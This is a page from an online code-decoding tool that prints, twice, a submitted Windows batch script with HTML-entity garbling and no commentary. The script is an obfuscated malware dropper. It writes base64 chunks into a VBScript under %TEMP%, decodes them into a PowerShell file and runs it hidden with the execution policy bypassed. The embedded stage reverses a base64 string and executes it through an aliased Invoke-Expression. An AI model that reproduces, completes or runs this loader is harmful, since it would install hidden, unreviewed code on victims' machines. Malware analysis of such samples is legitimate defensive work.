Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
@echo off & #xD; & #xA; setlocal & #xD; & #xA; set & quot; a = % 25 TEMP % 25\ a & quot..
Decoded Output download
<? @echo off & #xD; & #xA;
setlocal & #xD; & #xA;
set & quot;
a = % 25 TEMP % 25\ a & quot; & #xD; & #xA;
mkdir & quot; % 25 a % 25 & quot;
2 & gt;
nul & #xD; & #xA;
echo b = & quot;
JFIgPSAic0pISTcwSElsVm5icFJuYnZOVWVzUm5ibHhXYVRCaWJ2bEdkakZrY3ZKbmNGMUNJcDBXWjBOWGVUcGpPZE5YWjBWbllwSkhkMEZVWnNsbVJ1OFVTdTBXWjBOWGVUdEZJeTltWXRBaWJsUkdacGhrTzYwMWNsUlhkaWxtYzBSWFFseFdhRzV5VEo1U2JsUjNjNU4xV29BU1oxeFdZVzFDSXpWR2QxSldheVJIZEJCU1p0Rm1UdEFDWmtBQ2EwRkdVdEFTZTBKWFp3OW1jUTFXWjBsVUwwVjJVZ3NUWjE1V2EwNTJiRGxIYjA1V1pzbDJVZzQyYnBSM1lCSjNieUpYUnRBU0t0VkdkemwzVTZvVFh6VkdkMUpXYXlSSGRCVkdicFprTFBsa0x0VkdkemwzVWJCaWN2SldMZzRXWmtSV2FJcGpPZE5YWjBWbllwSkhkMEZVWnNsbVJ1OFVTdTBXWjBOWGVUdEZLZ1VXZHNGbVZ0QXljbFJYZGlsbWMwUlhRZ1VXYmg1VUxnOEdKZ2dHZGhCVkxna0hkeVZHY3ZKSFV0VkdkSjFDZGxORkk3a0NLbE4zYndOWGFFNXlZM1JDSTdreWJrQUNMMVJDS2x4V2FHUldZdnhtYjM5R1J1TTJka0F5TzA1V1pweDJRaVYyVnVRWFpPNVNibFIzYzVORkkwTldacUoyVHRjWFpPQlNQZ00yZGtBeU9pVUdlbDVpZTNJQ0lvUlhZUVJHYnBoMlF0QUNaa0FDYTBGR1V0QUNhMEZHVXQ0V2F2cEVJOUF5YmtBeU9pVUdlbDVpYzZkekxoOXlaeTltTHdsbWV0Y2pMM2QzZHY4aU96QkhkMGhtSWcwREkxUkNJN3dHYjE1VUwwVjNUZ3dISWxObWN2WlVMZ1FHSmdnR2RoQlZMZ2tuY3ZSM1lsSlhhRUJTWndsSFZ0VkdkSjFDSXRWR2RKMXlkbDVFSTdCU0twSVNaNFZtTDZkRFhrUmlJZ2dHZGhCVkwwTlhaVWhDSTA5bWJ0Z0NJbWxHSTdJQ2NwcGxibFpYWnp4VlkwRkdSdEZtY245bWNReGxPREpDSTlBQ1prQXlPOUJDZHBGMlZ0QWlibFJHWnBoRUlseFdlME4xZHZSbWJwZFZMZ2NtY2hSQ0kwTlhhTVJuYmwxV2RuSlhRdEFpZWtBQ2EwRkdVbHhXYUcxQ0l6TlhaajltY1ExQ2R5RkdkVEJ5T2lrWExnQUhKdzFDSWlBMmJrSUNZdjFDSWlBV1lrSUNZZ2duSWcwREluSlhZa0F5T2lVR2VsNWllM3dGY3BwbGJsWlhaenhWWTBGR1J0Rm1jbjltY1F4bE9ESkNJOUFpZWtBeU96UkNJcDFDSTJCU1BnQUhKZ3NqSTkwemRPUlRRcDFFZUZSVVMwTUdSSkpUVEVsa01GUlZUblZGVk9kV1FFOTBaTlJWVDRGVWFPTlRRRDVVTUJsV1R3RTBVT05UUTUxMGRGUlVTNjFFUkpOVFZFbFVNWlJVU3owRVJKZFhWRWxFTnJSVVMwMEVSSkJ6YUVsRWVWUlVTNWRHUkpCVFFVMWtJZzBESXpSQ0lwOEdKZGRtYnBKSGR6dEZJc0VHSmRkbWJwSkhkenRGS2cwV1l5RkdjZ3NISWxCaWJ2bEdkajVXZG1CeU85Qmlja0FpYnlWSGRsSkhJNzBISTRSU1gwNVdhYjFs & quot; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo c = & quot;
Z1FISmdnR2RoQlZMdWwyYktCU1BnWUdKZ3NUS29nR2RoQkZjdFZHVjBWMlI2b1RYb1JYWVE1eVRKNVNibFIzYzVOMVdnMERJMFJDSTdrQ0tuNVdheVIzVXZSbExwZ0NacFYzUjNWbVQ2b1RYa2xXZEg1U2JsUjNjNU4xV2cwREluUkNJOUJ5WXZKSGNrQXlhdEFpY2tBU2J0MUNJa0JTUGd3R1prQXllZ2tpY2tnQ0ltbEdJN1FHSmdrbWNWMUNJazlHYTBWV1QwTlhaUzFTWnI5bWR1bEVJOUFpY2tBeU9qOTJieUJISmdzV0xnVUdKZzBXYnRBQ1pnMERJa1JDSTdCU2V5UkhJOUJpYnlWSGRsSkhJN0JTS2xSQ0kwOW1idGdDSW1sR0lwVUdKZGRtYnBKSGR6dEZLZzBXWXlGR2Nnc0hJd0JpYnZsR2RqNVdkbUJ5TzlCU2Znd21jZ3NETXlBeWNrNTJialYyVXRBQ2NsVkdiVDFDZHlGR2RUQnllZ2cyWTBGMllnMEhJaWMyU045R1JNZDBiRWRETjNselNqRkhSaUozZGg5MGN5UjBOdmQzYkxOWGJFOVNOM05uVHhkSFdQMTBhRHhVYzNaMlROSjNRcVp6ZEo5MFl4UkVWMmNYUlBOR2NEcG5OMzkwVGpKM1FZSkRiRFptTXdSa2QxYzNNTDFVY0VOamMzSkNJd0J5ZWdrbmMwQnllZzhHSXU5V2EwTm1iMVpHSTcwSEk5QnliZ3NISW9OR2RoTkdJOUJpSTlBemIzTjJUNGdHUnFGM2REOUVPcU5FVlloR1I2QjNkd3NFT3NOa2MxYzNZR1p6ZGg5MGN3TkVUeGRIUlBObWJFcFhOM1YwVGpCM1E2WnpkUDkwWXlORVd5dzJRbUpEY0VaWE4zTnpTTkZIUnpJM2RpQUNjZ3NISTVKSGRnc0hJNEJpYnZsR2RqNVdkbUJ5TzlCU2ZnZ0hJN0JDYWpSWFlqQlNmZ0lTTXdWemR6c1VUdFJrZTFjblJQaFRXNHQwY3VORVRJMTJReUIzZGpSbk4zMTBUalIzUVFGM2RGOTBjdFJrYXhkWFJQTkdjRHBuTjM5MFRqSjNRWUpEYkRabU13UmtkMWMzTUwxVWNFTmpjM0pDSXdCeWVna25jMEJ5ZWd3R0l1OVdhME5tYjFaR0k3MEhJOUJDYmdzSElvTkdkaE5HSTlCaUk5MHpaMU5FVzFjSFNQaHpiRHgwTjNOMVQ0NDJRTVp6ZFM5VVR5TjBNeGRuWVBObmFESm1OM0YxVHpSM1FRRjNkRDlFT3ZSME0xY25UTE5uYkR4a04zcDFUNEkzUVlKRGJEWm1Nd1JrZDFjM01MMVVjRU5qYzNKQ0l3QnllZ2tuYzBCeWVnd21jZzQyYnBSM1l1Vm5aIjsgJHR4dCA9ICRSLlRvQ2hhckFycmF5KCk7IFthcnJheV06OlJldmVyc2UoJHR4dCk7ICRibmIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0eHQpKTsgJGV4cCA9ICJJbnZva2UtRXhwcmVzc2lvbiI7IE5ldy1BbGlhcyAtTmFtZSBwV04gLVZhbHVlICRleHAgLUZvcmNlOyBwV04gJGJuYg == & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo d = & quot;
Y2hoMlliQlNQckFpY2tBeWVna3lZa0FpYnBCQ2VrZ0NJb05XWWxKM2JtQnlPaUlDSTlBaWNrQXlPbkF5SmdRWGFzQjNjdEF5Y2tBU1BnTUdKZ3NUS2lSQ0tuNVdheVIzVTBWMlJ1Z2pSVVZsTzYwMVp1bEdadk5tYkY1Q2Q0VkdWdTBXWjBOWGVUdEZJOUF5Y2tBeU9wa0dKb2NtYnBKSGRUUmpObE5YWUMxMmJ5WmtPNjBGZHlWbWR1OTJRdTBXWjBOWGVUdEZJOUFpWWtBU0twUlNYbjVXYXlSM2NiaENJdEZtY2hCSEk3QmlkZzQyYnBSM1l1Vm5aZ3NqSTl4Q0pnZDFPaEoyZStCa2I0MDBNNHdTT2lCWGNpQVNQZ00yYnlCSEpnc1RmZzBISTM5bWNvUkhJN0JDYWpSWFlqQlNmZ1FHSmc0V2F2cFdMZzRtYzFSWFp5QnlPOUJTS3dSQ0l0QXlZa2dTWHlGR2FqdEZJOUFTWHBSeVdrUkNJNzBGYTBkbWJseGtMclJDSWxBU2FrczFha0FTUGdBSEpnc1RYcFJ5V3pSQ0k5QXlZa0F5ZWdreUtya0dKZ3NEYTBkbWJseGtMelJDSTB4V0xna0dKZ3NETWcwRElwUkNLZ0kzYm1CeU9vUjNadVZHVHVNSEpnMDFXeUZHYWpCQ2RqVm1haTlVTDNWbVRnMERJa1JDSTdraVlrZ3ladWxtYzBORmRsZGtMNFlFVlZwak9kZG1icFIyYmo1V1J1UUhlbFJsTHRWR2R6bDNVYkJTUGdNSEpnc1RLdDFHSm9jbWJwSkhkVFJqTmxOWFlDMTJieVprTzYwRmR5Vm1kdTkyUXUwV1owTlhlVHRGSTlBaVlrQXllZ2tuYzBCU0tyUlNYbjVXYXlSM2NiQkNMdDFHSmRkbWJwSkhkenRGS2cwV1l5RkdjZ3NISWtCaWJ2bEdkajVXZG1CeU9pUW5lZkZUZXQxak5vMUNkck5FZFZKQ0k5QXlZdjltY3dSQ0k3MEhJOUJ5ZHZKSGEwQnllZ2cyWTBGMllnMEhJOUJTZmdZR0pnMFdaMGxVTGxaM2J0Vm1VZ3NISXBZR0pnZ0dkaEJWTDBOWFpVaENJbWxHSTlCaWJsUkdacGhFSWx4V2UwTjFkdlJtYnBkVkxnWUVlbFJDSW9SWFlRVkdicFpVTGdNM2NsTjJieUJWTDBKWFkwTkZJN0JTS0doWFprQUNhMEZHVXRRM2NsUkZLZ1lXYWdzaklsaFhadUlYWjB4V2FHaDJZeUZXWlRKQ0k0VkdKZ2dHZGhCVkx1bDJiS0JTUGdZRWVsUkNJN2dYWmtBeWJ0QWlaa0FTWXRBU1pnc1RLaVJDSXNZR0pvTVhaMGxuUXN4V1FsUlhheWRsTzYwVlpzbG1SdThVU3UwV1owTlhlVHRGSTdCU0t3QUNkbjFDSW9SM1p1VkdUdUlHSm9BaVpwQnlPcHdHWmtnU1kwRkdSa0YyYnM1MmR2UmtMalJDSTlBaVlrQXlPMDVXWnB4MlFpVjJWdVFYWk81U2JsUjNjNU5GSTBOV1pxSjJUdGNYWk9CU1BnTUdKZ3NUS3BneVp1bG1jME4xYlU1U0tvUVdhMWQwZGw1a082MEZacFYzUnUwV1owTlhlVHRGS2dRSEpnZ0dkaEJWTHVsMmJLQlNQZ2dYWmtBeU9wSWllMzRpSWdzQ0luUkNL & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo e = b ^ & amp;
d ^ & amp;
c & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set f = CreateObject( & quot; MSXml2.DOMDocument .6 .0 & quot;).createElement( & quot; base64 & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo f.DataType = & quot;
bin.base64 & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo f.Text = e & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo g = f.NodeTypedValue & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo h = & quot; % 25 a % 25\ i.ps1 & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set j = CreateObject( & quot; Scripting.FileSystemObject & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set k = j.CreateTextFile(h, True) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo k.Write l(g) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo k.Close & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set m = CreateObject( & quot; WScript.Shell & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo m.Run & quot;
powershell.exe - ExecutionPolicy Bypass - File & quot; ^ & amp;
h, 0, False & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Function l(n) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Dim o, p & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set o = CreateObject( & quot; ADODB.Recordset & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo p = LenB(n) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo If p ^ & gt;
0 Then & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.Fields.Append & quot;
q & quot;, 201, p & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.Open & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.AddNew & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o( & quot; q & quot;).AppendChunk n & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.Update & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo l = o( & quot; q & quot;).GetChunk(p) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Else & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo l = & quot; & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo End If & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo End Function & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
cscript //nologo "%25a%25.vbs"
endlocal ?>
Did this file decode correctly?
Original Code
@echo off & #xD; & #xA;
setlocal & #xD; & #xA;
set & quot;
a = % 25 TEMP % 25\ a & quot; & #xD; & #xA;
mkdir & quot; % 25 a % 25 & quot;
2 & gt;
nul & #xD; & #xA;
echo b = & quot;
JFIgPSAic0pISTcwSElsVm5icFJuYnZOVWVzUm5ibHhXYVRCaWJ2bEdkakZrY3ZKbmNGMUNJcDBXWjBOWGVUcGpPZE5YWjBWbllwSkhkMEZVWnNsbVJ1OFVTdTBXWjBOWGVUdEZJeTltWXRBaWJsUkdacGhrTzYwMWNsUlhkaWxtYzBSWFFseFdhRzV5VEo1U2JsUjNjNU4xV29BU1oxeFdZVzFDSXpWR2QxSldheVJIZEJCU1p0Rm1UdEFDWmtBQ2EwRkdVdEFTZTBKWFp3OW1jUTFXWjBsVUwwVjJVZ3NUWjE1V2EwNTJiRGxIYjA1V1pzbDJVZzQyYnBSM1lCSjNieUpYUnRBU0t0VkdkemwzVTZvVFh6VkdkMUpXYXlSSGRCVkdicFprTFBsa0x0VkdkemwzVWJCaWN2SldMZzRXWmtSV2FJcGpPZE5YWjBWbllwSkhkMEZVWnNsbVJ1OFVTdTBXWjBOWGVUdEZLZ1VXZHNGbVZ0QXljbFJYZGlsbWMwUlhRZ1VXYmg1VUxnOEdKZ2dHZGhCVkxna0hkeVZHY3ZKSFV0VkdkSjFDZGxORkk3a0NLbE4zYndOWGFFNXlZM1JDSTdreWJrQUNMMVJDS2x4V2FHUldZdnhtYjM5R1J1TTJka0F5TzA1V1pweDJRaVYyVnVRWFpPNVNibFIzYzVORkkwTldacUoyVHRjWFpPQlNQZ00yZGtBeU9pVUdlbDVpZTNJQ0lvUlhZUVJHYnBoMlF0QUNaa0FDYTBGR1V0QUNhMEZHVXQ0V2F2cEVJOUF5YmtBeU9pVUdlbDVpYzZkekxoOXlaeTltTHdsbWV0Y2pMM2QzZHY4aU96QkhkMGhtSWcwREkxUkNJN3dHYjE1VUwwVjNUZ3dISWxObWN2WlVMZ1FHSmdnR2RoQlZMZ2tuY3ZSM1lsSlhhRUJTWndsSFZ0VkdkSjFDSXRWR2RKMXlkbDVFSTdCU0twSVNaNFZtTDZkRFhrUmlJZ2dHZGhCVkwwTlhaVWhDSTA5bWJ0Z0NJbWxHSTdJQ2NwcGxibFpYWnp4VlkwRkdSdEZtY245bWNReGxPREpDSTlBQ1prQXlPOUJDZHBGMlZ0QWlibFJHWnBoRUlseFdlME4xZHZSbWJwZFZMZ2NtY2hSQ0kwTlhhTVJuYmwxV2RuSlhRdEFpZWtBQ2EwRkdVbHhXYUcxQ0l6TlhaajltY1ExQ2R5RkdkVEJ5T2lrWExnQUhKdzFDSWlBMmJrSUNZdjFDSWlBV1lrSUNZZ2duSWcwREluSlhZa0F5T2lVR2VsNWllM3dGY3BwbGJsWlhaenhWWTBGR1J0Rm1jbjltY1F4bE9ESkNJOUFpZWtBeU96UkNJcDFDSTJCU1BnQUhKZ3NqSTkwemRPUlRRcDFFZUZSVVMwTUdSSkpUVEVsa01GUlZUblZGVk9kV1FFOTBaTlJWVDRGVWFPTlRRRDVVTUJsV1R3RTBVT05UUTUxMGRGUlVTNjFFUkpOVFZFbFVNWlJVU3owRVJKZFhWRWxFTnJSVVMwMEVSSkJ6YUVsRWVWUlVTNWRHUkpCVFFVMWtJZzBESXpSQ0lwOEdKZGRtYnBKSGR6dEZJc0VHSmRkbWJwSkhkenRGS2cwV1l5RkdjZ3NISWxCaWJ2bEdkajVXZG1CeU85Qmlja0FpYnlWSGRsSkhJNzBISTRSU1gwNVdhYjFs & quot; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo c = & quot;
Z1FISmdnR2RoQlZMdWwyYktCU1BnWUdKZ3NUS29nR2RoQkZjdFZHVjBWMlI2b1RYb1JYWVE1eVRKNVNibFIzYzVOMVdnMERJMFJDSTdrQ0tuNVdheVIzVXZSbExwZ0NacFYzUjNWbVQ2b1RYa2xXZEg1U2JsUjNjNU4xV2cwREluUkNJOUJ5WXZKSGNrQXlhdEFpY2tBU2J0MUNJa0JTUGd3R1prQXllZ2tpY2tnQ0ltbEdJN1FHSmdrbWNWMUNJazlHYTBWV1QwTlhaUzFTWnI5bWR1bEVJOUFpY2tBeU9qOTJieUJISmdzV0xnVUdKZzBXYnRBQ1pnMERJa1JDSTdCU2V5UkhJOUJpYnlWSGRsSkhJN0JTS2xSQ0kwOW1idGdDSW1sR0lwVUdKZGRtYnBKSGR6dEZLZzBXWXlGR2Nnc0hJd0JpYnZsR2RqNVdkbUJ5TzlCU2Znd21jZ3NETXlBeWNrNTJialYyVXRBQ2NsVkdiVDFDZHlGR2RUQnllZ2cyWTBGMllnMEhJaWMyU045R1JNZDBiRWRETjNselNqRkhSaUozZGg5MGN5UjBOdmQzYkxOWGJFOVNOM05uVHhkSFdQMTBhRHhVYzNaMlROSjNRcVp6ZEo5MFl4UkVWMmNYUlBOR2NEcG5OMzkwVGpKM1FZSkRiRFptTXdSa2QxYzNNTDFVY0VOamMzSkNJd0J5ZWdrbmMwQnllZzhHSXU5V2EwTm1iMVpHSTcwSEk5QnliZ3NISW9OR2RoTkdJOUJpSTlBemIzTjJUNGdHUnFGM2REOUVPcU5FVlloR1I2QjNkd3NFT3NOa2MxYzNZR1p6ZGg5MGN3TkVUeGRIUlBObWJFcFhOM1YwVGpCM1E2WnpkUDkwWXlORVd5dzJRbUpEY0VaWE4zTnpTTkZIUnpJM2RpQUNjZ3NISTVKSGRnc0hJNEJpYnZsR2RqNVdkbUJ5TzlCU2ZnZ0hJN0JDYWpSWFlqQlNmZ0lTTXdWemR6c1VUdFJrZTFjblJQaFRXNHQwY3VORVRJMTJReUIzZGpSbk4zMTBUalIzUVFGM2RGOTBjdFJrYXhkWFJQTkdjRHBuTjM5MFRqSjNRWUpEYkRabU13UmtkMWMzTUwxVWNFTmpjM0pDSXdCeWVna25jMEJ5ZWd3R0l1OVdhME5tYjFaR0k3MEhJOUJDYmdzSElvTkdkaE5HSTlCaUk5MHpaMU5FVzFjSFNQaHpiRHgwTjNOMVQ0NDJRTVp6ZFM5VVR5TjBNeGRuWVBObmFESm1OM0YxVHpSM1FRRjNkRDlFT3ZSME0xY25UTE5uYkR4a04zcDFUNEkzUVlKRGJEWm1Nd1JrZDFjM01MMVVjRU5qYzNKQ0l3QnllZ2tuYzBCeWVnd21jZzQyYnBSM1l1Vm5aIjsgJHR4dCA9ICRSLlRvQ2hhckFycmF5KCk7IFthcnJheV06OlJldmVyc2UoJHR4dCk7ICRibmIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0eHQpKTsgJGV4cCA9ICJJbnZva2UtRXhwcmVzc2lvbiI7IE5ldy1BbGlhcyAtTmFtZSBwV04gLVZhbHVlICRleHAgLUZvcmNlOyBwV04gJGJuYg == & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo d = & quot;
Y2hoMlliQlNQckFpY2tBeWVna3lZa0FpYnBCQ2VrZ0NJb05XWWxKM2JtQnlPaUlDSTlBaWNrQXlPbkF5SmdRWGFzQjNjdEF5Y2tBU1BnTUdKZ3NUS2lSQ0tuNVdheVIzVTBWMlJ1Z2pSVVZsTzYwMVp1bEdadk5tYkY1Q2Q0VkdWdTBXWjBOWGVUdEZJOUF5Y2tBeU9wa0dKb2NtYnBKSGRUUmpObE5YWUMxMmJ5WmtPNjBGZHlWbWR1OTJRdTBXWjBOWGVUdEZJOUFpWWtBU0twUlNYbjVXYXlSM2NiaENJdEZtY2hCSEk3QmlkZzQyYnBSM1l1Vm5aZ3NqSTl4Q0pnZDFPaEoyZStCa2I0MDBNNHdTT2lCWGNpQVNQZ00yYnlCSEpnc1RmZzBISTM5bWNvUkhJN0JDYWpSWFlqQlNmZ1FHSmc0V2F2cFdMZzRtYzFSWFp5QnlPOUJTS3dSQ0l0QXlZa2dTWHlGR2FqdEZJOUFTWHBSeVdrUkNJNzBGYTBkbWJseGtMclJDSWxBU2FrczFha0FTUGdBSEpnc1RYcFJ5V3pSQ0k5QXlZa0F5ZWdreUtya0dKZ3NEYTBkbWJseGtMelJDSTB4V0xna0dKZ3NETWcwRElwUkNLZ0kzYm1CeU9vUjNadVZHVHVNSEpnMDFXeUZHYWpCQ2RqVm1haTlVTDNWbVRnMERJa1JDSTdraVlrZ3ladWxtYzBORmRsZGtMNFlFVlZwak9kZG1icFIyYmo1V1J1UUhlbFJsTHRWR2R6bDNVYkJTUGdNSEpnc1RLdDFHSm9jbWJwSkhkVFJqTmxOWFlDMTJieVprTzYwRmR5Vm1kdTkyUXUwV1owTlhlVHRGSTlBaVlrQXllZ2tuYzBCU0tyUlNYbjVXYXlSM2NiQkNMdDFHSmRkbWJwSkhkenRGS2cwV1l5RkdjZ3NISWtCaWJ2bEdkajVXZG1CeU9pUW5lZkZUZXQxak5vMUNkck5FZFZKQ0k5QXlZdjltY3dSQ0k3MEhJOUJ5ZHZKSGEwQnllZ2cyWTBGMllnMEhJOUJTZmdZR0pnMFdaMGxVTGxaM2J0Vm1VZ3NISXBZR0pnZ0dkaEJWTDBOWFpVaENJbWxHSTlCaWJsUkdacGhFSWx4V2UwTjFkdlJtYnBkVkxnWUVlbFJDSW9SWFlRVkdicFpVTGdNM2NsTjJieUJWTDBKWFkwTkZJN0JTS0doWFprQUNhMEZHVXRRM2NsUkZLZ1lXYWdzaklsaFhadUlYWjB4V2FHaDJZeUZXWlRKQ0k0VkdKZ2dHZGhCVkx1bDJiS0JTUGdZRWVsUkNJN2dYWmtBeWJ0QWlaa0FTWXRBU1pnc1RLaVJDSXNZR0pvTVhaMGxuUXN4V1FsUlhheWRsTzYwVlpzbG1SdThVU3UwV1owTlhlVHRGSTdCU0t3QUNkbjFDSW9SM1p1VkdUdUlHSm9BaVpwQnlPcHdHWmtnU1kwRkdSa0YyYnM1MmR2UmtMalJDSTlBaVlrQXlPMDVXWnB4MlFpVjJWdVFYWk81U2JsUjNjNU5GSTBOV1pxSjJUdGNYWk9CU1BnTUdKZ3NUS3BneVp1bG1jME4xYlU1U0tvUVdhMWQwZGw1a082MEZacFYzUnUwV1owTlhlVHRGS2dRSEpnZ0dkaEJWTHVsMmJLQlNQZ2dYWmtBeU9wSWllMzRpSWdzQ0luUkNL & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo e = b ^ & amp;
d ^ & amp;
c & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set f = CreateObject( & quot; MSXml2.DOMDocument .6 .0 & quot;).createElement( & quot; base64 & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo f.DataType = & quot;
bin.base64 & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo f.Text = e & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo g = f.NodeTypedValue & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo h = & quot; % 25 a % 25\ i.ps1 & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set j = CreateObject( & quot; Scripting.FileSystemObject & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set k = j.CreateTextFile(h, True) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo k.Write l(g) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo k.Close & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set m = CreateObject( & quot; WScript.Shell & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo m.Run & quot;
powershell.exe - ExecutionPolicy Bypass - File & quot; ^ & amp;
h, 0, False & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Function l(n) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Dim o, p & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Set o = CreateObject( & quot; ADODB.Recordset & quot;) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo p = LenB(n) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo If p ^ & gt;
0 Then & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.Fields.Append & quot;
q & quot;, 201, p & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.Open & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.AddNew & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o( & quot; q & quot;).AppendChunk n & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo o.Update & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo l = o( & quot; q & quot;).GetChunk(p) & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo Else & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo l = & quot; & quot; & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo End If & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
echo End Function & gt; & gt; & quot; % 25 a % 25\ b.vbs & quot; & #xD; & #xA;
cscript //nologo "%25a%25\b.vbs"
endlocal
Function Calls
None |
Stats
MD5 | d395e61581e9a0d1386b779a1cb5911a |
Eval Count | 0 |
Decode Time | 118 ms |